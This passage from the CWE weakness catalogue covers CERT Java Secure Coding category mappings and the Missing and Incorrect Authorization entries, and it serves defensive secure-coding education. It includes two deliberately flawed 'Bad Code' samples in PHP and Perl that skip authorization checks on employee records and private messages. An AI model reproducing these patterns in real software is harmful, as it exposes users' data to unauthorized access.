ParentOf	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	844	301
ParentOf	C	171	Cleansing, Canonicalization, and Comparison Errors	844	332
ParentOf	B	180	Incorrect Behavior Order: Validate Before Canonicalize	844	347
ParentOf	B	182	Collapse of Data into Unsafe Value	844	350
ParentOf	V	289	Authentication Bypass by Alternate Name	844	513
ParentOf	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	844	708
ParentOf	B	625	Permissive Regular Expression	844	973
ParentOf	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	844	1003
ParentOf	B	838	Inappropriate Encoding for Output Context	844	1277
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "00. Input Validation and Data Sanitization (IDS)". < <https://www.securecoding.cert.org/confluence/display/java/00.+Input+Validation+and+Data+Sanitization+%28IDS%29> >.

## CWE-846: CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)



Category ID: 846 (Category) Status: Incomplete**Description****Summary**

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	<input type="checkbox"/>	665	Improper Initialization	844	1027
MemberOf	<input checked="" type="checkbox"/>	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

**References**

CERT. "01. Declarations and Initialization (DCL)". < <https://www.securecoding.cert.org/confluence/display/java/01.+Declarations+and+Initialization+%28DCL%29> >.

## CWE-847: CERT Java Secure Coding Section 02 - Expressions (EXP)

Category ID: 847 (Category) Status: Incomplete**Description****Summary**

Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	<input type="checkbox"/>	252	Unchecked Return Value	844	446
ParentOf	<input checked="" type="checkbox"/>	479	Signal Handler Use of a Non-reentrant Function	844	807
ParentOf	<input type="checkbox"/>	595	Comparison of Object References Instead of Object Contents	844	936
ParentOf	<input checked="" type="checkbox"/>	597	Use of Wrong Operator in String Comparison	844	938
MemberOf	<input checked="" type="checkbox"/>	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

**References**

CERT. "02. Expressions (EXP)". < <https://www.securecoding.cert.org/confluence/display/java/02.+Expressions+%28EXP%29> >.

## CWE-848: CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)

Category ID: 848 (Category) Status: Incomplete**Description****Summary**

Weaknesses in this category are related to rules in the Numeric Types and Operations (NUM) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	<input type="checkbox"/>	197	Numeric Truncation Error	844	381
ParentOf	<input type="checkbox"/>	369	Divide By Zero	844	647
ParentOf	<input type="checkbox"/>	681	Incorrect Conversion between Numeric Types	844	1058
MemberOf	<input checked="" type="checkbox"/>	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

**References**

CERT. "03. Numeric Types and Operations (NUM)". < <https://www.securecoding.cert.org/confluence/display/java/03.+Numeric+Types+and+Operations+%28NUM%29> >.

## CWE-849: CERT Java Secure Coding Section 04 - Object Orientation (OBJ)

Category ID: 849 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Object Orientation (OBJ) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	374	Passing Mutable Objects to an Untrusted Method	844	652
ParentOf	B	375	Returning a Mutable Object to an Untrusted Caller	844	654
ParentOf	V	486	Comparison of Classes by Name	844	820
ParentOf	V	491	Public cloneable() Method Without Final ('Object Hijack')	844	826
ParentOf	V	492	Use of Inner Class Containing Sensitive Data	844	827
ParentOf	V	493	Critical Public Variable Without Final Modifier	844	833
ParentOf	V	498	Cloneable Class Containing Sensitive Information	844	842
ParentOf	V	500	Public Static Field Not Marked Final	844	845
ParentOf	V	582	Array Declared Public, Final, and Static	844	922
ParentOf	V	766	Critical Variable Declared Public	844	1170
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "04. Object Orientation (OBJ)". < <https://www.securecoding.cert.org/confluence/display/java/04.+Object+Orientation+%28OBJ%29> >.

## CWE-850: CERT Java Secure Coding Section 05 - Methods (MET)

Category ID: 850 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Methods (MET) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	487	Reliance on Package-level Scope	844	822
ParentOf	V	568	finalize() Method Without super.finalize()	844	905
ParentOf	G	573	Improper Following of Specification by Caller	844	910
ParentOf	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	844	921
ParentOf	V	583	finalize() Method Declared Public	844	923
ParentOf	V	586	Explicit Call to Finalize()	844	926
ParentOf	V	589	Call to Non-ubiquitous API	844	929
ParentOf	V	617	Reachable Assertion	844	964
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "05. Methods (MET)". < <https://www.securecoding.cert.org/confluence/display/java/05.+Methods+%28MET%29> >.

## CWE-851: CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)

Category ID: 851 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Exceptional Behavior (ERR) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	209	Information Exposure Through an Error Message	844	397
ParentOf	V	230	Improper Handling of Missing Values	844	422
ParentOf	V	232	Improper Handling of Undefined Values	844	423
ParentOf	B	248	Uncaught Exception	844	438
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	844	661
ParentOf	C	390	Detection of Error Condition Without Action	844	671
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	844	680
ParentOf	B	397	Declaration of Throws for Generic Exception	844	683
ParentOf	V	460	Improper Cleanup on Thrown Exception	844	777
ParentOf	V	497	Exposure of System Data to an Unauthorized Control Sphere	844	840
ParentOf	B	584	Return Inside Finally Block	844	924
ParentOf	B	600	Uncaught Exception in Servlet	844	941
ParentOf	∞	690	Unchecked Return Value to NULL Pointer Dereference	844	1071
ParentOf	C	703	Improper Check or Handling of Exceptional Conditions	844	1102
ParentOf	C	705	Incorrect Control Flow Scoping	844	1105
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "06. Exceptional Behavior (ERR)". < <https://www.securecoding.cert.org/confluence/display/java/06.+Exceptional+Behavior+%28ERR%29> >.

## CWE-852: CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)

Category ID: 852 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Visibility and Atomicity (VNA) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	844	627
ParentOf	B	366	Race Condition within a Thread	844	640
ParentOf	B	413	Improper Resource Locking	844	713
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	844	903
ParentOf	B	662	Improper Synchronization	844	1024

Nature	Type	ID	Name	V	Page
ParentOf	B	667	Improper Locking	844	1032
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "07. Visibility and Atomicity (VNA)". < <https://www.securecoding.cert.org/confluence/display/java/07.+Visibility+and+Atomicity+%28VNA%29> >.

## CWE-853: CERT Java Secure Coding Section 08 - Locking (LCK)

Category ID: 853 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Locking (LCK) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	412	Unrestricted Externally Accessible Lock	844	711
ParentOf	B	413	Improper Resource Locking	844	713
ParentOf	B	609	Double-Checked Locking	844	955
ParentOf	B	667	Improper Locking	844	1032
ParentOf	B	820	Missing Synchronization	844	1249
ParentOf	B	833	Deadlock	844	1271
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "08. Locking (LCK)". < <https://www.securecoding.cert.org/confluence/display/java/08.+Locking+%28LCK%29> >.

## CWE-854: CERT Java Secure Coding Section 09 - Thread APIs (THI)

Category ID: 854 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Thread APIs (THI) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	572	Call to Thread run() instead of start()	844	910
ParentOf	G	705	Incorrect Control Flow Scoping	844	1105
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "09. Thread APIs (THI)". < <https://www.securecoding.cert.org/confluence/display/java/09.+Thread+APIs+%28THI%29> >.

## CWE-855: CERT Java Secure Coding Section 10 - Thread Pools (TPS)

Category ID: 855 (Category) Status: Incomplete**Description****Summary**

Weaknesses in this category are related to rules in the Thread Pools (TPS) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	392	Missing Report of Error Condition	844	677
ParentOf	C	405	Asymmetric Resource Consumption (Amplification)	844	703
ParentOf	B	410	Insufficient Resource Pool	844	709
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

**References**

CERT. "10. Thread Pools (TPS)". < <https://www.securecoding.cert.org/confluence/display/java/10.+Thread+Pools+%28TPS%29> >.

## CWE-856: CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)

Category ID: 856 (Category) Status: Incomplete**Description****Summary**

Weaknesses in this category are related to rules in the Thread-Safety Miscellaneous (TSM) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

**References**

CERT. "11. Thread-Safety Miscellaneous (TSM)". < <https://www.securecoding.cert.org/confluence/display/java/11.+Thread-Safety+Miscellaneous+%28TSM%29> >.

## CWE-857: CERT Java Secure Coding Section 12 - Input Output (FIO)

Category ID: 857 (Category) Status: Incomplete**Description****Summary**

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	V	67	Improper Handling of Windows Device Names	844	103
ParentOf	B	135	Incorrect Calculation of Multi-Byte String Length	844	282
ParentOf	B	198	Use of Incorrect Byte Ordering	844	383
ParentOf	V	276	Incorrect Default Permissions	844	490
ParentOf	V	279	Incorrect Execution-Assigned Permissions	844	494
ParentOf	C	359	Exposure of Private Information ('Privacy Violation')	844	622
ParentOf	B	377	Insecure Temporary File	844	655
ParentOf	B	404	Improper Resource Shutdown or Release	844	699



Nature	Type	ID	Name	V	Page
ParentOf		405	Asymmetric Resource Consumption (Amplification)	844	703
ParentOf		459	Incomplete Cleanup	844	775
ParentOf		532	Information Exposure Through Log Files	844	872
ParentOf		533	Information Exposure Through Server Log Files	844	873
ParentOf		542	Information Exposure Through Cleanup Log Files	844	881
ParentOf		732	Incorrect Permission Assignment for Critical Resource	844	1121
ParentOf		770	Allocation of Resources Without Limits or Throttling	844	1175
MemberOf		844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "12. Input Output (FIO)". < <https://www.securecoding.cert.org/confluence/display/java/12.+Input+Output+%28FIO%29> >.

## CWE-858: CERT Java Secure Coding Section 13 - Serialization (SER)

Category ID: 858 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Serialization (SER) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		250	Execution with Unnecessary Privileges	844	440
ParentOf		319	Cleartext Transmission of Sensitive Information	844	562
ParentOf		400	Uncontrolled Resource Consumption ('Resource Exhaustion')	844	688
ParentOf		499	Serializable Class Containing Sensitive Data	844	844
ParentOf		502	Deserialization of Untrusted Data	844	847
ParentOf		589	Call to Non-ubiquitous API	844	929
ParentOf		770	Allocation of Resources Without Limits or Throttling	844	1175
MemberOf		844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "13. Serialization (SER)". < <https://www.securecoding.cert.org/confluence/display/java/13.+Serialization+%28SER%29> >.

## CWE-859: CERT Java Secure Coding Section 14 - Platform Security (SEC)

Category ID: 859 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Platform Security (SEC) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		111	Direct Use of Unsafe JNI	844	208
ParentOf		266	Incorrect Privilege Assignment	844	471
ParentOf		272	Least Privilege Violation	844	482
ParentOf		300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	844	530

Nature	Type	ID	Name	V	Page
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	844	533
ParentOf	B	319	Cleartext Transmission of Sensitive Information	844	562
ParentOf	B	347	Improper Verification of Cryptographic Signature	844	604
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	844	789
ParentOf	B	494	Download of Code Without Integrity Check	844	835
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	844	1121
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	844	1239
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "14. Platform Security (SEC)". < <https://www.securecoding.cert.org/confluence/display/java/14.+Platform+Security+%28SEC%29> >.

## CWE-860: CERT Java Secure Coding Section 15 - Runtime Environment (ENV)

Category ID: 860 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Runtime Environment (ENV) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	844	607
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	844	1121
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

### References

CERT. "15. Runtime Environment (ENV)". < <https://www.securecoding.cert.org/confluence/display/java/15.+Runtime+Environment+%28ENV%29> >.

## CWE-861: CERT Java Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 861 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT Java Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	259	Use of Hard-coded Password	844	459
ParentOf	B	311	Missing Encryption of Sensitive Data	844	548
ParentOf	C	330	Use of Insufficiently Random Values	844	581
ParentOf	V	332	Insufficient Entropy in PRNG	844	587
ParentOf	V	333	Improper Handling of Insufficient Entropy in TRNG	844	588
ParentOf	B	336	Same Seed in PRNG	844	591
ParentOf	B	337	Predictable Seed in PRNG	844	592
ParentOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	844	688



Nature	Type	ID	Name	CVSS	Page
ParentOf	B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	844	694
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	844	882
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	844	1175
ParentOf	B	798	Use of Hard-coded Credentials	844	1219
MemberOf	V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard	844	1290

## References

CERT. "49. Miscellaneous (MSC)". < <https://www.securecoding.cert.org/confluence/display/java/49.+Miscellaneous+%28MSC%29> >.

# CWE-862: Missing Authorization

Weakness ID: 862 (Weakness Class)

Status: Incomplete

## Description

### Summary

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

## Alternate Terms

### AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

## Time of Introduction

- Architecture and Design
- Implementation
- Operation

## Applicable Platforms

### Languages

- Language-independent

### Technology Classes

- Web-Server (Often)
- Database-Server (Often)

## Modes of Introduction

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

## Common Consequences

## **Confidentiality**

### **Read application data**

#### **Read files or directories**

An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

## **Integrity**

### **Modify application data**

#### **Modify files or directories**

An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

## **Access Control**

### **Gain privileges / assume identity**

#### **Bypass protection mechanism**

An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

## **Likelihood of Exploit**

High

## **Detection Methods**

### **Automated Static Analysis**

#### **Limited**

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

### **Automated Dynamic Analysis**

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

### **Manual Analysis**

#### **Moderate**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

### **Manual Static Analysis - Binary / Bytecode**

#### **SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:

  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

### **Dynamic Analysis with automated results interpretation**

#### **SOAR Partial**

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:

  - Web Application Scanner

  - Web Services Scanner

  - Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

**Demonstrative Examples****Example 1:**

This function runs an arbitrary SQL query on a given database, returning the result of the query.

**PHP Example:***Bad Code*

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

**Example 2:**

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

**Perl Example:***Bad Code*

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
}
```

```

print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);

```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

### Observed Examples

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.

### Potential Mitigations

#### Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [R.862.1] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [R.862.2].

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.862.5] and the OWASP ESAPI Access Control feature [R.862.4].

### Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

### System Configuration










#### Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		285	Improper Authorization	<b>699</b> <b>1000</b>	501
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
ChildOf		817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	1248
ChildOf		866	2011 Top 25 - Porous Defenses	<b>900</b>	1309
ParentOf		<i>425</i>	<i>Direct Request ('Forced Browsing')</i>	<i>699</i> <i>1000</i>	<i>727</i>
ParentOf		638	<i>Not Using Complete Mediation</i>	<i>1000</i>	986
ParentOf		639	<i>Authorization Bypass Through User-Controlled Key</i>	<i>699</i> <i>1000</i>	988
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319
ParentOf		939	<i>Improper Authorization in Handler for Custom URL Scheme</i>	<b>1000</b>	1362

### References

NIST. "Role Based Access Control and Role Based Security". < <http://csrc.nist.gov/groups/SNS/rbac/> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.

Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. < <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-23] Rahul Bhattacharjee. "Authentication using JAAS". < <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39.. 1st Edition. Addison Wesley. 2006.

## CWE-863: Incorrect Authorization

**Weakness ID:** 863 (*Weakness Class*)

**Status:** Incomplete

### Description

#### Summary

The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

#### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

### Alternate Terms

#### AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- Language-independent

#### Technology Classes

- Web-Server (*Often*)
- Database-Server (*Often*)

### Modes of Introduction

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

### Common Consequences



## Confidentiality

### Read application data

#### Read files or directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

## Integrity

### Modify application data

#### Modify files or directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

## Access Control

### Gain privileges / assume identity

#### Bypass protection mechanism

An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.

## Likelihood of Exploit

High

## Detection Methods

### Automated Static Analysis

#### Limited

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

### Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

## Manual Analysis

### Moderate

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

### Manual Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies



**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

